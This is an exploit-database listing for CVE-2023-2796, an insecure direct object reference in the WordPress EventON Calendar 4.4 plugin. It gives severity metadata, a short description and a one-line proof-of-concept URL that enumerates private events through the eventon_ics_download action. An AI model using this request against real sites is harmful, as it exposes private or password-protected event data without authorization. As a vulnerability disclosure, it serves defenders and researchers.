Advertisement






WordPress EventON Calendar 4.4 Insecure Direct Object Reference

CVE Category Price Severity
CVE-2023-2796 CWE-284 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-08-06
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023080029

Below is a copy:

WordPress EventON Calendar 4.4 Insecure Direct Object Reference
# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-2796

# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.